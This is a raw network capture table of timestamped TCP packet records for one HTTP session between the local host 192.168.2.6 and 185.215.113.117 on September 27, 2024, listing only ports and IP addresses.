Sep 27, 2024 16:18:20.433038950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433056116 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433069944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433077097 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433092117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433096886 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433105946 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433115005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433124065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433135033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433144093 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433163881 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433428049 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433439970 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433458090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433465004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433475971 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433484077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433491945 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433501959 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433511019 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433521986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433528900 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433542013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433552027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433562994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433571100 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433594942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433831930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433845043 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433854103 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433866978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433887005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433892965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433907032 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433917046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433928967 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433933973 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433944941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433959961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433969975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.433984041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.433998108 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434006929 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434027910 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434472084 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434484005 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434497118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434505939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434519053 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434525013 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434535027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434542894 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434551001 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434561968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434571981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434582949 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434591055 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434602022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434611082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434627056 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434633970 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434657097 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434848070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434860945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434875011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434883118 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434894085 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434904099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434919119 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434925079 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434941053 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434952974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434958935 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434972048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434982061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.434990883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.434998989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435019016 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435024023 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435035944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435049057 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435058117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435065985 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435076952 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435086012 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435096979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435105085 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435127020 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435620070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435633898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435647011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435657978 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435672045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435677052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435689926 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435697079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435703993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435715914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435728073 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435741901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435756922 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435761929 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.435770035 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.435789108 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.479800940 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.479842901 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.479940891 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.479959011 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.479976892 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.479984999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480004072 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480010986 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480022907 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480035067 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480042934 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480053902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480074883 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480096102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480120897 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480151892 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480442047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480454922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480468035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480479002 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480489969 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480496883 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480506897 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480516911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480525017 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480544090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480551004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480576992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480581999 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480593920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480607986 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480618954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480628014 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480638027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480649948 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480662107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480669975 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480695963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480874062 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480886936 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480899096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480906963 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480916977 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480923891 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480942965 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480947971 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480956078 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480964899 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480973005 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.480983973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.480998039 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.481003046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.481012106 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.481021881 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.481033087 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.481041908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.481065989 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.481260061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.481283903 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.481293917 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.490808964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.490837097 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.490849972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.490860939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.490884066 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.490890980 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.490945101 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.490957975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.490971088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.490979910 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.490992069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.491014004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491014004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491025925 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491189957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.491203070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.491216898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.491225004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491238117 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.491246939 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491260052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.491276979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491276979 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491291046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491489887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.491503954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.491528988 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.491538048 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.716222048 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:20.722539902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722572088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722585917 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722621918 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.722621918 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.722645044 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.722695112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722708941 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722722054 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722734928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722744942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.722744942 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.722760916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722785950 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.722799063 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.722811937 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.722856045 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.722995996 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723010063 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723030090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723045111 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723045111 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723054886 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723066092 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723079920 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723093033 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723103046 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723138094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723138094 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723342896 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723356962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723370075 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723395109 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723402977 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723414898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723422050 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723434925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723448992 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723462105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723462105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723474979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723484993 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723496914 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723510981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723527908 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723535061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723535061 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723551035 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.723561049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723561049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.723586082 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724014997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724029064 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724044085 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724057913 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724065065 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724075079 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724087954 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724107027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724113941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724113941 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724128008 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724138021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724138021 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724152088 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724165916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724183083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724183083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724196911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724210978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724224091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724232912 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724245071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724245071 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724257946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724270105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724278927 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724292040 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724303961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724304914 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724318027 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724328041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724340916 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724396944 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.724981070 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.724996090 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725011110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725019932 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725033045 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725042105 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725054979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725065947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725065947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725080013 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725090027 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725101948 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725115061 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725127935 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725137949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725137949 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725150108 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725162029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725176096 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725184917 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725198030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725208044 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725208998 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725229025 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725243092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725259066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725266933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725266933 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725276947 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725286961 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725297928 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725311041 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725328922 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.725336075 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725347042 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.725399971 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726001978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726016998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726032972 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726044893 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726056099 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726068974 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726082087 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726094961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726109028 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726121902 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726141930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726150036 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726161957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726176023 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726188898 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:20.726200104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726200104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726200104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:20.726200104 CEST	49615	80	192.168.2.6	185.215.113.117
